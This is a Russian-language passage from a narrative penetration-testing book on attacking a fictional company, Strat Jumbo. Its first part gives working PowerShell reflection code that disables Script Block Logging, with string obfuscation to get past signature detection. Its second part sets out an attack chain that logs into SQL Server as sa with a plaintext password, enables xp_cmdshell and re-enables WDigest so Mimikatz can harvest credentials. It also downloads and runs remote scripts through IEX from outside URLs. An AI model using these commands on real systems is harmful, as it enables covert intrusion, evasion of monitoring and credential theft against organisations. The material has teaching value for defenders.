И мы снова в игре! Мы смотрим на профиль Рона в Citrix и обнаруживаем, что он почти пуст. В его личной папке не хранятся никакие связанные с его программной деятельностью документы, а его история Firefox практически пуста, что лишает нас каких-либо полезных зацепок, таких как вики-страницы и сохранённые пароли. Это делает его ещё более захватывающим! Требуется некоторое повышение привилегий!

Изобретение стратегии

Прежде чем запускать в этом сервере хотя бы одну команду, чтобы избежать множества расставленных вокруг нас ловушек, благодаря различным представленным Microsoft в WMF 5 (встроенным в Windows 10 и Windows Server 2016) для противодействия взрыва атак на основе сценариев новым методам, нам необходимо разработать рабочую стратегию. Эти методы включают в себя:

Constrained Language mode (Режим с Ограничением языка) Запрещает ряд специальных типов и объектов и функций .NET, как мы это наблюдали выше: Add-Type, New-Object, таких классов .NET [console] и многого иного.

System-wide transcript (Стенограмма по всей системе) Регистрирует вводимый в консоли PowerShell текст, а также вывод команд. Это практика, которая должна быть за плечами синей команды.

Script Block Logging (Регистрация Блоков сценариев) Регистрирует все команды или сценарии PowerShell в не зашифрованном, не запутанном формате в диспетчере событий с идентификатором события 4101. Это устраняет классический обход, основанный на полезных нагрузках в кодировке base64, с применением флага -EncodedCommand PowerShell. Такие журналы, среди прочего, вероятно, подпитывают механизм обнаружения QRadar.

Antimalware Scan Interface (AMSI) filter (Фильтр интерфейса санирования защиты от вредоносного ПО) Перехватывает все команды или файлы, исполняемые при помощи обычных обработчиков сценариев, таких как JavaScript, PowerShell и VBScript. Антивирус может подключаться к AMSI и принимать решение блокировать команду или нет. Это переносит антивирусные программы в область сканирования или защиты памяти, поскольку AMSI работает на уровне ядра вне зависимости от происхождения такой команды, причём будь то сценарий на диске или команда в памяти.

Мы уже наблюдали применение режима с Ограничением команд Strat Jumbo, поэтому мы не хотим здесь снова вдаваться в подробности.

Хотя стенографирование по всей системе предлагает аналитикам безопасности полезное воспроизведение команд злоумышленника в компьютере, она редко применяется в режиме реального времени для мониторинга вредоносного обмена. В выходных данных такого файла отсутствует структура - в конце концов, это настоящая стенограмма консоли, - что затрудняет синтаксический анализ для систем мониторинга. На самом деле он применяется в основном для анализа после инцидента за выявлением атаки. По умолчанию файлы расшифровки хранятся в личной папке пользователя, но администраторы могут (и должны) хранить их в отдельном защищённом сетевом ресурсе. Если бы это было так и в случае со Strat Jumbo, у нас не было бы другого выбора, кроме как отыскать этот общий ресурс, получить достаточно привилегий, а затем тайно изменить файлы журнала для удаления нашего следа активности.

Вероятно, Регистрация блоков кода это самая опасная и неизбежная угроза, потому как она напрямую питает постоянно наблюдающий механизм мониторинга QRadar. Простые правила сопоставления строк по очевидным ключевым словам могут снова разоблачить нас, поэтому нам нужно разобраться с этим немедленно. Мы вернёмся к AMSI в Главе 10.

Кастрируем блок сценария регистрации

Ведение журналов блоков сценариев доставляется в компьютеры Windows через настроенные в контроллере домена глобальные параметры: параметры объекта Групповой политики (GPO), которые мы обсуждали в Главе 5. При каждом исполнении команды интерпретатором PowerShell ведение журналов блоков сценариев проверяет соответствующий объект Групповой политики в ключе реестра и принимает решение о регистрации этой команды или её игнорировании. Тем не менее, как обычно, дьявол кроется в деталях. Для повышения производительности соответствующая настройка ведения журналов блоков сценариев кэшируется в памяти, в частности, внутри переменной с именем cachedGroupPolicySettings. Эта переменная, или чтобы быть более точным свойство определяется в загружаемом DLL System.Management.Automation внутреннем статическом классе Utils показанном в обратной компиляции на Рисунке 8.2. Для декомпиляции исполняемых файлов .NET вы можете воспользоваться .NET Reflector от Red Gate.

Рисунок 8.2

Применение .NET Reflector для обратной компиляции библиотеки DLL и поиска параметра cachedGroup PolicySettings, который управляет ведением журнала блоков сценариев.

Ведение журнала блоков сценариев включено когда cachedGroupPolicySettings установлено в определённое значение. Если оно не определено, ведение журналов блоков сценариев отключено - во всех его смыслах и проявлениях.

Можем ли мы считать это пространство памяти и обойти имеющиеся правила объектно- ориентированного программирования (ООП), которые гласят, что мы не можем получать доступ к закрытым переменным вне их классов? Да, и ещё раз: да! Более того, мы способны перекрыть это поле в памяти чтобы отключить ведение журнала для своего конкретного экземпляра PowerShell. В конце концов, любой загружаемый обычным процессом пользователя код DLL пребывает в пространстве пользователя, а переменные этой DLL обычно находятся в страницах памяти для чтения/ записи. Поэтому мы можем отключать ведение журналов не обладая полномочиями администратора. Чтобы реализовать такой трюк вуду мы полагаемся на функцию, носящую название отражения (reflection).

Сила самоконтроля

В исполняемых файлах .NET отражение (reflection) позволяет фрагменту кода считывать код данного исполняемого кода извлекать методы и участников и изменять их во время выполнения. В основном это допустимо по причине того, что исполняемый файл .NET не содержит реального собственного машинного кода. Вместо этого он состоит из промежуточного кода с названием Microsoft Intermediate Language (MSIL, Промежуточного языка Microsoft), который компилятор транслирует из кода верхнего уровня, как правило C#. Во время исполнения код MSIL на лету компилируется в аппаратный код средой Windows Common Language Runtime (CLR, времени исполнения общего языка).

В то время как в обычном исполняемом файле все метаданные (имена функций, переменные, структуры и т. д.) заменяются абстрактными смещениями и сведениями о размере при компиляции, в формате MSIL эти метаданные сохраняются в сборке, что позволяет составить список функции любого заданного двоичного файла, вызывать их, создавать экземпляры объектов и т.д. По существу, это позволяет нам манипулировать внутренними компонентами двоичного файла во время выполнения. Именно это делает возможным отражение.

Традиционно с языке без управления, таком как C++, для доступа к внутренним методам и свойствам класса мы бы пользовались функциями getter и setter (получения и установки). Единственная цель этих функций - после их реализации - позволять программистам мягко нарушать правило границ ООП и получать (при помощи getter) или устанавливать (через setter) конкретные значения внутренних переменных извне своих классов.

Однако отражение автоматически предоставляет нам getter и setter вне зависимости от того предоставляются они классом или нет, поскольку мы способны считывать метаданные сборки и находить тех участников и те свойства, которые мы хотим получить или изменить. Итак, повторяйте за мной: отражение это потрясающе!

В PowerShell для загрузки общедоступного класса .NET, такого как Console, мы просто заключаем его в квадратные скобки и напрямую получаем доступ к его методам. Мы проделаем это в своей лаборатории:

PS C:\Lab> [console]
IsPublic     IsSerial       Name     BaseType
--------     --------       ----     --------
True         False          Console  System.Object

PS C:\Lab> [Console]::WriteLine("static method WriteLine")
static method WriteLine

Однако, как мы видели ранее, System.Management.Automation.Utils объявлен как внутренний класс. Это означает что мы не можем непосредственно его вызывать из интерпретатора PowerShell. Тем не менее, благодаря отражению мы имеем возможность динамически загружать тот файл DLL, который его содержит, и принудительно выделять ссылку на его внутренний класс Utils.

На практике PowerShell всегда загружает файл System.Management.Automation.dll и превращает его в доступный через свойство Assembly общедоступного класса System.Management.Automation.PSReference:

PS C:\Lab> [System.Management.Automation.PSReference].Assembly

GAC: True
Version: v4.0.30319
Location: C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

Для удобства [System.Management.Automation.PSReference] можно сократить до [ref], а потому в качестве альтернативы просто выполните:

PS C:\Lab> [ref].Assembly

Теперь у нас имеется объект, который указывает на необходимую DLL, поэтому мы можем вызвать функцию GetType, которая благодаря отражению выполняет выборку дескриптора для необходимого внутреннего класса Utils. Его мы сохраняем в качестве более удобной переменной $utils:

PS C:\Lab> $utils = [ref].Assembly.GetType('System.Management.Automation.Utils')

PS C:\Lab> $utils
IsPublic     IsSerial       Name     BaseType
--------     --------       ----     --------
False        False          Utils  System.Object

Применяя этот дескриптор мы вызываем метод GetField для выборки внутри этого класса поля cachedGroup PolicySettings, снабжая нас контролем теми атрибутами, которые будут запрещены ведением регистрации блоков сценариев. Метод GetField ожидает значения переменной имени и сведения о его типе - по- другому именуемых флагами связывания - таких как Public, NonPublic, Static, Instance и тому подобных. На Рисунке 8.2, после декомпиляции необходимой DLL при помощи .NET Reflector, мы видим что значение свойства cached GroupPolicySettings объявляются как Private и Static, поэтому для его выборки мы пользуемся таким кодом:

PS C:\Lab> $dict = $utils.GetField("cachedGroupPolicySettings","NonPublic,Static")

PS C:\Lab> $dict
Name        : cachedGroupPolicySettings
FieldHandle : System.RuntimeFieldHandle
Attributes  : Private, Static
FieldType   : Collections.Concurrent.ConcurrentDictionary...
--snip--

Этот тип поля указывает что, как ожидалось, мы имеем дело со словарём. Мы можем отобразить его значения при помощи метода GetValue. Помните, что подобные GetValue, GetType и GetField функции работают исключительно благодаря отражению на самом первом месте:

PS C:\Lab> $dict.getValue("")

Key : HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Value : {[EnableScriptBlockLogging, 1]}
--snip--

Вот оно! Мы можем ясно видеть, что отвратительный EnableScriptBlockLogging установлен в 1, который нам следует заменить на 0 для обмана PowerShell, чтобы он молча отбрасывал все последующие команды, выдаваемые этим конкретным экземпляром PowerShell:

PS C:\Lab> $key = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
PS C:\Lab> $scriptBlockLogging = $dict.getValue("")[$key]
PS C:\Lab> $scriptBlockLogging['EnableScriptBlockLogging'] = 0

После выполнения этого сценария в нашей целевой машине нам нет нужды беспокоиться относительно ATA, так как эти команды не вовлечены ни в какое сетевое взаимодействие со своим контроллером домена. С другой стороны, QRadar всё ещё представляет собой реальную угрозу. Эта обходная командная строка выполняется сразу перед отключением ведения журнала блоков сценариев, что означает, что она неминуемо будет зарегистрирована в качестве Warning (предостережения) под событием 4104, как это отображено на Рисунке 8.3:

Рисунок 8.3

Обход командной строки регистрируется как Warning в виде события 4104.

Обратите внимание, что в отличие от этого конкретного, все прочие события 4104 просто относились к категории Verbose (подробных). Такое соотнесение к категориям Warning или Verbose происходит в механизме Windows Management Framework (Структуры управления Windows), который является компонентом, выполняющим команды PowerShell. Этот механизм WMF проверяет любые исполняемые команды по перечню подозрительных строк, определённых во внутренних отличительных признаках свойств общедоступного класса ScriptBlock. Такие опасные функции как NonPublic, GetField, Add-Type и многие иные, автоматически помечаются этим механизмом выполнения. QRadar скорее всего ищет в журнале PowerShell все помеченные как Warning события с тем, чтобы они, вероятно, были бы подхвачены командой безопасности когда мы исполним их в сетевой среде Strat Jumbo. Именно это является тем не нужным разоблачением, которого следует избегать в случае, когда оно запускает правило обнаружения.

ScriptBlock объявляется как общедоступный класс, а потому мы можем напрямую ссылаться на него при помощи объекта [ScriptBlock]. Тем не менее, само содержащее перечень подозрительных строк поле signatures является частным, поэтому мы снова прибегаем к отражению при помощи методов GetField и GetValue (Листинг 8.1).

Листинг 8.1. Просмотр строк, определённых в свойстве signatures нашего класса ScriptBlock

PS C:\> [ScriptBlock].GetField('signatures','NonPublic,Static').GetValue($null)

Add-Type
DllImport
DefineDynamicAssembly
DefineDynamicModule
DefineType
--snip--

Именно эти ключевые слова используются WMF для маркировки опасных команд. Поскольку он проверяет эти подозрительные слова простым сравнением строк, мы можем обойти это при помощи некоторых хитроумных приёмов, затрудняющих понимание кода. Исследователь безопасности Дэниел Боханнон проделал потрясающую работу по данному конкретному вопросу, создав инструмент Invoke-Obfuscation для автоматизации запутывания строк — поистине устрашающую демонстрацию творчества и тяжёлой работы. Мы позаимствуем некоторые из его методов, представленных в его выступлении на конференции Microsoft по безопасности BlueHat Israel 2017.

Обходим совпадение строк

Основываясь на полученных нами в Листинге 8.1 перечне запрещённых слов, нам известно что помечаются такие команды нашего обхода ведения регистрации блоков сценариев:

GetField

NonPublic

ScriptBlockLogging

Нам следует замаскировать эти термины, убедившись что они всё ещё применимы. NonPublic и ScriptBlockLogging это просто строки, поэтому для предотвращения их выявления мы можем воспользоваться классическим методом конкатенации. Давайте повторно посетим свои предыдущие команды, которые отключают ведение регистрации блоков сценариев 'NonPublic,Static' превращается в 'No'+'nPublic,Static', а 'EnableScriptBlockLogging' 'EnableScriptBloc'+'kLogging':

PS C:\Lab> $dict = $utils.GetField('cachedGroupPolicySettings', 'No'+'nPublic,Static')

PS C:\Lab> $key = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBl"+"ockLogging"

PS C:\Lab> $dict.getValue("")[$key]['EnableScriptBloc'+'kLogging']=0

Нам удалось скрыть две строки из трёх, но как быть с методом GetField? Вы будете удивлены гибкостью синтаксиса PowerShell. Мы можем заключать вызов метода в двойные или одинарные кавычки, а он всё равно продолжит отлично работать:

..."GetField"('cachedGroupPolicySettings', 'No'+'nPublic,Static')

О, вы только посмотрите на это! Теперь GetField выглядит строкой, а потому мы можем снова воспользоваться методом классической конкатенации с применением дополнительных скобок, добавляемых для уверенности в том, что необходимая конкатенация произойдёт первой:

...("Ge"+"tField")('cachedGroupPolicySettings', 'No'+'nPublic,Static')

А теперь великое завершение, вишенка поверх этого удивительного запутывания - внутри строк мы можем добавлять штрихи ` и они будут игнорироваться, а это означает, что наша команда по- прежнему будет выполняться нормально. Единственное ограничение состоит в том, что вам нельзя применять такой штрих перед символами 0, a, b, f, n, r, t или v, иначе они будут интерпретироваться, соответственно, как null, alert, backspace, form feed, newline, carriage return, horizontal tab и vertical tab. В нашем случае мы добавляем штрих перед буквой “i” в GetField:

...("Ge"+"tF`ield")('cachedGroupPolicySettings', 'No'+'nPublic,Static')

Только что упомянутые специальные символы чувствительны к регистру, а потому ничто не мешает нам помещать штрих перед заглавной буквой F, например:

...("Ge"+"t`F`ield")('cachedGroupPolicySettings', 'No'+'nPublic,Static')

Наш окончательный код ведения журнала блокирования сценариев теперь выглядит следующим образом:

PS C:\Lab> $utils = [ref].Assembly.GetType('System.Management.Automation.Utils')
PS C:\Lab> $dict = $utils.("Ge"+"t`F`ield")('cachedGroupPolicySettings', 'NonP'+'ublic,Static')

PS C:\Lab> $key = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBl"+"ockLogging"

PS C:\Lab> $dict.getValue("")[$key]['EnableS'+'criptBlockLogging'] = 0

Когда мы исполняем эти команды в своей лаборатории проверок, они все, как и ожидалось, регистрируются, но все они относятся к категории Verbose вместо того, чтобы помечаться как полноценное Warning (Рисунок 8.4) и, таким образом, тонут среди тысяч прочих бессмысленных сообщений Verbose. Более того, применённые нами методы затруднения анализа, скорее всего, позволят обойти любой выполняемый QRadar мониторинг ключевых слов.

Рисунок 8.4

Методы запутывания обходят мониторинг ключевых слов и наша атака вливается в море подробных журналов

Все последующие выполняемые нами в том же самом окне PowerShell больше не будут регистрироваться. Всякий новый применяющий Invoke-Command, Start-Job и аналогичные им команды должен содержать такой обход.

[Замечание]
ПРИМЕЧАНИЯ ПО РЕГИСТРАЦИИ БЛОКОВ СЦЕНАРИЕВ

В некоторых машинах Windows ключ словаря EnableScriptBlockLogging не обнаруживается в cachedGroupPolicySettings даже хотя ведение журнала блоков сценариев включено, тем самым превращая приводимый в этой главе обходной путь в бесполезный. Чтобы заставить Windows отключать ведение журнала в любом случае, нам следует создать отсутствующий ключ, а затем присвоить ему, как обычно, значение 0.

В таком случае альтернативная полезная нагрузка становится такой:

$GPF = [ref].Assembly.GetType('System.Management.Automation.Utils').
"GetF`Ield"('cachedGroupPolicySettings', 'NonP'+'ublic,Static')
$GPS = $GPF.GetValue($null)

# Создаём новый объект словаря
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()

# Наполняем свой словарь
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GPS['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val

Наконец, у нас имеется одна гигантская проблема. Большой Брат больше не следит за каждой вводимой нами в командной строке PowerShell командой. В этой машине мы способны выполнить почти все, что пожелаем. Но что именно? Нам требуется выяснить куда направить свою энергию дальше. Мы уже искали хранящиеся локально потенциальные пароли и документы, но присели со своими усилиями. Где-то в сетевых ресурсах должны быть пароли. Чёрт, в сети наверняка имеются даже уязвимые для всевозможных эксплойтов вроде MS17-010 старые машины с Windows 2008, но мы не можем просто,как наивные хакеры, которыми мы когда-то были, идти в погоню за ними.

Мы испили из источника истины, а он имеет горький привкус. Мы знаем, что над нашими головами висит дамоклов меч в виде ATA и QRadar. Один странный пакет или непоследовательное поведение в сетевой среде, - и нас снова выкинут - возможно, теперь навсегда.

Вместо того чтобы искать способы повышения своих привилегий, давайте направим свои усилия обратно на свою изначальную цель: добраться до кода Strat Accounting.

Ресурсы

Руководства по паролям NIST

Дополнительные сведения записи по всей системе в "PowerShell ♥ the Blue Team"

Статья Phrack об игре с кодом MSIL в исполняемых файлах .NET.

"Using PowerShell and Reflection API to Invoke Methods from .NET Assemblies" Хая Трана в NetSPI, суммирующая различные способы доступа ко внутренним ресурсам .NET с применением отражения

"Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To) D""e`Tec`T 'Th'+'em' выступление Дэниела Боханнона в BlueHat Israel 2017

Глава 10. Наконец свободен

Содержание

Глава 10. Наконец свободен

Необработанный SQL

Mimikatz: волшебная палочка Windows

Исполняя Mimikatz

Борьба с AMSI

Выявляя преступника

Уклоняясь от сопоставления строк

Окончательный сценарий

Исполнение сценария

Собираем свои трофеи

Ресурсы

В своей предыдущей главе мы осуществили тщательную разведку выявления баз данных Citrix и даже управились с захватом и взломом пароля для учётной записи службы sqlexpress. На волне этой новой возможности в том мрачном мире, коим является защищённая сетевая среда Strat Jumbo, нам не терпится проверить свой доступ к базе данных Citrix, воспользовавшись нашими недавно полученными учётными данными.

Но придержите своих лошадей! Открытие нового интерактивного сеанса - будь то RDP или NTLM - в неком случайном сервере следует осуществлять осмотрительно, в особенности когда всё отслеживает ATA. Существует небольшая вероятность того, что некоторые администраторы на постоянной основе могут инициировать соединения со своей базой данных при помощи учётной записи sqlexpress и тем самым, подобное поведение не будет отмечаться. Основная ставка состоит в том, что подобная учётная запись применяется исключительно локально для запуска службы базы данных, а всякая попытка открытия удалённого включит лавину предупреждающих сообщений. Такое подозрение ещё больше укрепляется соглашением об именах Strat Jumbo, которое ясно предполагает, что все администраторы обладают особыми учётными записями для осуществления административных задач. К счастью, имеется ряд способов действенного применения таких учётных записей.

Необработанный SQL

Мы уже установили, что весь обмен Active Directory активно контролируется ATA и, возможно, QRadar. Удостоверение подлинности NTLM и Kerberos это коварная территория, наполненная готовыми взорваться при малейшей неточности минами. К счастью, базы данных SQL поддерживают иную схему аутентификации, носящую название локальной аутентификации, причём учётные записи определены на уровне самой базы данных. Локальное удостоверение подлинности строго ограничена самой базой данных: никакие журналы не отправляются в классическое хранилище событий Windows и нет никакого взаимодействия с Active Directory. Многие компании не в состоянии контролировать данный вид активности по причине его абсурдного уровня сложности. Мы почти наверняка сможем получить доступ, не включая никаких предупреждений!

Полученная нами учётная запись sqlexpress ни в коем случае не является локальной учётной записью; это учётная запись AD, применяемая для запуска самого процесса базы данных в её машине. Тем не менее, при настройке базы данных администраторов обычно просят настроить пароль для локальной учётной записи администратора базы данных, получившей название sa. Зачастую этот пароль оказывается тем же самым, что и пароль учётной записи, с которой запущен сам её экземпляр - в данном случае, sqlexpress. Другими словами, мы можем просто войти в базу данных SQL с локальной учётной записью sa, воспользовавшись паролем sqlexpress и незаметно проникнуть в эту сетевую среду.

Доступный в http://bit.ly/2GdxxnJ простой сценарий PowerShell sql_cmdlets.psm1 Джордана Темплтона поможет нам удостовериться в этом предположении. В окне PowerShell мы подготовим объект браузера для загрузки этого сценария и его команд в память:

PS X:\> $browser = New-Object System.Net.WebClient

PS X:\> $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials

PS X:\> IEX($browser.DownloadString("http://bit.ly/2GdxxnJ"))

Теперь мы вызываем из только что загруженного сценария Invoke-SqlCommand и предпринимаем попытку подключения к выявленной в Главе 9 базе данных STRAT-CI-03 при помощи учётной записи sa с паролем sqlexpress. Для перечисления баз данных мы исполним простейшую команду EXEC sp_databases:

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC sp_databases"
DATABASE_NAME   DATABASE_SIZE   REMARKS
Master                   8464
Model                    2624
Msdb                    14592
Testdb                   2560
XenDB_PROD       801981181104

Блестяще! Похоже, что учётная запись sa использует то же пароль, что и учётная запись sqlexpress. Найденная база данных XenDB_PROD подтверждает, что мы действительно пребываем в базе данных Citrix, но в ней нам не понадобятся никакие данные; мы просто пользуемся ею в качестве отправной точки. Применяя встроенную в доступную во всех серверах SQL для запуска команд Windows непосредственно в сервере хранимую процедуру мощную команду xp_cmdshell, мы перейдём напрямую к исполнению команд в самом сервере. Эта команда в последних версиях по умолчанию отключена, поэтому сначала мы активируем эту функциональную возможность в своём текущем сервере SQL:

PS X:\> $sql = "EXEC sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure"

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query $sql

Затем мы отправляем те команды, которые мы бы хотели исполнить. Давайте начнём с простой команды net localgroup administrators для перечисления текущих локальных администраторов чтобы убедиться что всё работает как надо (Листинг 10.1).

Листинг 10.1. Получение списка администраторов сервера

PS X:\> $command='net localgroup administrators'

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"
Output
-----------
Administrator
STRATJUMBO\Domain admins
STRATJUMBO\sqlexpress
STRATJUMBO\strat_dbadms
STRATJUMBO\citrix_srv

Как вам это нравится! Учётная запись sqlexpress, от имени которой в настоящий момент времени запущен процесс базы данных, выступает частью локальной группы администраторов в сервере STRAT-CI-03. В этом сервере мы имеем возможность исполнения команд администраторов, что превращает его в первый сервер, которым мы реально овладели внутри сетевой среды Strat Jumbo.

Владение этой этой базой данных Citrix - решающий шаг для проникновения в глубоко эшелонированную инфраструктуру Strat Jumbo. Помните тот перечень баз данных, к которым мы не смогли получить доступ со своего сервера Citrix из-за защиты межсетевого экрана? Это новости в прошлом. Теперь мы имеем полный доступ к сетевой среде.

Мы можем направлять свои пакеты через расположенный внутри сегмента сетевой среды с более доверенной базой данных STRAT-CI-03 для достижения гораздо большего числа машин. Здесь мы выполняем ping к когда- то недоступной машине STRAT-AK-03 для подтверждения вновь установленного доступа к сетевой среде:

PS X:\> $command='ping /n 1STRAT-AK-03'

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"
Output
------
Pinging 10.134.0.14 with 32 bytes of data:
Reply from 10.134.0.14: Bytes=32 time<1ms TTL=128 8

Мы получили подтверждающий сетевой доступ отклик. Итак, как мы можем применить открываемые этим возможности дабы приблизиться к своей цели проникновения тайным ходом в исходный код Strat Accounting? Мы знаем, что нам, как минимум, требуется доступ на запись в репозиторий этого проекта для внедрения своего потайного хода. Одним из решений было бы овладение учётной записью разработчика, однако мы не надеемся запросто отыскать её в базе данных Citrix. Нам необходимо перейти на более плодородную почву.

Давайте вернёмся к выводу своей команды net localgroup administrators из Листинга 10.1. Приглядитесь повнимательнее, и, я надеюсь, вы обнаружите то, что вижу я:

Output
-----------
Administrator
STRATJUMBO\Domain admins
STRATJUMBO\sqlexpress
STRATJUMBO\strat_dbadms
STRATJUMBO\citrix_srv

Эта учётная запись citrix_srv та же самая учётная запись Active Directory, которая содержит полномочия администратора над всей фермой сервера Citrix. Давайте повторно напечатаем вывод той команды net localgroup administrators, которую мы исполняли в Главе 5 в одном из имеющихся серверов Citrix:

PS X:\> net localgroup "administrators"

Members
-------------------------------------------------------
Administrator
STRATJUMBO\citrix_srv
STRATJUMBO\Domain Admins

Та же самая учётная запись. Тот же самый пароль!

Если мы сможем контролировать эту учётную запись, скорее всего, мы получим контроль над всеми составляющими ферму Citrix серверами, в которой, если вы не забыли, размещаются удалённые сеансы всех разработчиков. Этого должно быть достаточно чтобы предоставить нам доступ к исходному коду Strat Accounting.

В дело вступает Mimikatz!

Mimikatz: волшебная палочка Windows

Mimikatz это инструмент безопасности Windows, разработанный в далёком 2007 году исследователем безопасности Джентилкиви для изучения внутреннего устройства механизма установления подлинности Windows. Он выявил, что после выполнения пользователями регистрации в своих учётных записях Windows, их пароли сохранялись в обратимом формате в имеющемся в памяти процессе LSASS. Применяя недокументированные функции Windows, Mimikatz способен расшифровывать эти пароли и отображать их в открытом виде.

Позднее Microsoft отключил автоматическое сохранение обратимых паролей, однако оставил в памяти NT хэши паролей - которые благодаря порокам протокола удостоверения подлинности NTLM (New Technology LAN Manager) столь же хороши как и пароли в виде открытого текста. Нам даже не требуется взламывать эти хэши, мы просто можем передавать их в качестве учётных данных. Этот дефект составляет суть атак с передачей хэша (pass-the-hash), обходом хэша (overpass-the-hash), ретрансляции NTLM (NTLM relay) и прочих атак; раздел Ресурсы в конце данной главы содержит ссылку, по которой вы можете узнать об этом больше.

Применяемая для удалённого доступа ферма Citrix, подобная той, на которую мы нацелились в настоящее время, как правило, являет собой кипящий суп интерактивных сеансов, а потому мы можем воспользоваться Mimikatz для того, чтобы каждый час собирать из памяти несколько десятков или около того паролей. Будем надеяться, что некоторые из этих учётных записей будут обладать в своих личных папках или историях браузеров соответствующими документами чтобы пролит свет на проблему с названием искомого проекта. Если нам и правда повезёт, мы сможем отыскать учётную запись разработчика с доступом к исходному коду Strat Accounting.

Вот те критически важные этапы, чтобы добиться реализации этого дьявольского плана:

При помощи Mimikatz отследить необходимый пароль для учётной записи citrix_srv в базе данных STRAT-CI-03.

Открыть сеанс администратора в сервере Citrix воспользовавшись учётной записью citrix_srv.

Пожинать хранящиеся в памяти пароли для входящих на протяжении дня пользователей пока мы не получим учётную запись разработчика.

Исполняя Mimikatz

Давайте приступим к этому первому шагу, связанному с запуском Mimikatz в нашей базе данных. Как указывалось ранее, за последнее десятилетие Microsoft отключила хранение обратимых паролей в памяти, запретим поставщика аутентификации, из которого утекали эти учётные записи: WDigest. Что относительно Гостя, тем не менее? Мы снова можем запросто включить его, создав ключ раздела реестра UseLogonCredential и присвоив ему значение 1. Здесь мы выполняем это при помощи команды reg add, выполняемой через процедуру SQL xp_cmdshell:

PS X:\> $command='reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1'

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"

Воспользовавшись этим мы включили WDigest. При следующем подключении к этому серверу учётной записи citrix_srv, её пароль сохранится в обратимом формате, который запросто способен расшифровать Mimikatz. Естественным следующим шагом является поиск способа запуска Mimikatz через наш удалённый доступ SQL и при этом не угодить в ловушку.

В отличии от предыдущих сценариев PowerShell, которые мы могли просто загружать в память при помощи команды Invoke-Expression, Mimikatz написан на C и компилируется либо в исполняемый файл (.exe) или в DLL. Существует множество способов к подходу безопасного исполнения исполняемого файла в удалённой машине. Одна из возможностей состоит в построении нашего собственного исполняемого Mimikatz на основе общедоступного исходного кода, изменении некоторых жёстко кодированных строк, удаления излишних модулей и компиляции всего этого, предоставляя нам исполняемый файл, который должен безопасно выполняться почти везде. Этот подход достаточно трудоёмкий и требует сопровождения дабы не отставать от новых версий Mimikatz, но это отличный способ ознакомиться с внутренним устройством Mimikatz (@Skelsec, совершая подвиг Геркулеса, дошёл до переноса Mimikatz на Python: убедитесь в этом на https://github.com/skelsec/pypykatz/).

Предпочитаемый многими людьми второй вариант это применение оригинального исполняемого файла Mimikatz и его загрузки напрямую в память, поскольку большинство решений обеспечения безопасности плохо снабжены для действенного мониторинга и сканирования областей памяти. Тем не менее, загрузить исполняемый файл в память не так просто как выполнить Invoke-Expression в PowerShell. Исполняемый процесс отличается от запускаемого с диска: требуется пересчитывать большое число адресов, загружать импортируемые библиотеки DLL и их функции, секции кода и данных требуется сопоставлять с определёнными смещениями и так далее. Это достаточно деликатный процесс, который был тщательно изучен и перепрофилирован для обхода антивирусов. Отражающее внедрения DLL, пожалуй, наиболее распространённая реализация исполнения в памяти, и она следует в точности тем же этапам: загружает фрагменты исполняемого файла в правильные секции памяти, вычисляет абсолютные адреса переменных и функций, загружает прочие DLL и разрешает их адреса функций и тому подобное. Когда всё установлено, исполнение запускается созданием нового потока, который указывает на соответствующую точку входа этого теперь исполняемого в памяти файла (Для получения дополнительных сведений об этом методе отсылаем вас к разделу Ресурсы.)

В далёком 2013 году инженер по безопасности Джо "clymb3r" Биалек выпустил первую общедоступную версию сценария PowerShell, который внедряет DLL Mimikatz непосредственно в память при помощи отражающее внедрения DLL. Его сценарий Invoke-Mimikatz остаётся одним из самых надёжных способов выполнения Mimikatz внутри локальной переменной, поэтому нам требуется либо изменить исходный сценарий и заменить жёстко кодированный исполняемый файл более новой версией Mimikatz, либо взять полностью обновлённый сценарий Invoke-Mimikatz.ps1 из репозитория Empire. Мы пойдём последним путём.

Давайте проверим этот сценарий в своей лаборатории в аналогичной базе данных Citrix машине. Для загрузки необходимого сценария Invoke-Mimikatz мы воспользуемся командой Invoke-Expression, затем исполним этот сценарий для загрузки в горячем режиме Mimikatz в память:

PS C:\Lab > $browser = New-Object System.Net.WebClient
PS C:\Lab > $file="https://sf-res.com/Invoke-mimi.ps1"
PS C:\Lab > IEX($browser.DownloadString($file))
IEX : At line:1 char:1

+ function Invoke-Mimikatz
+ ~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software...

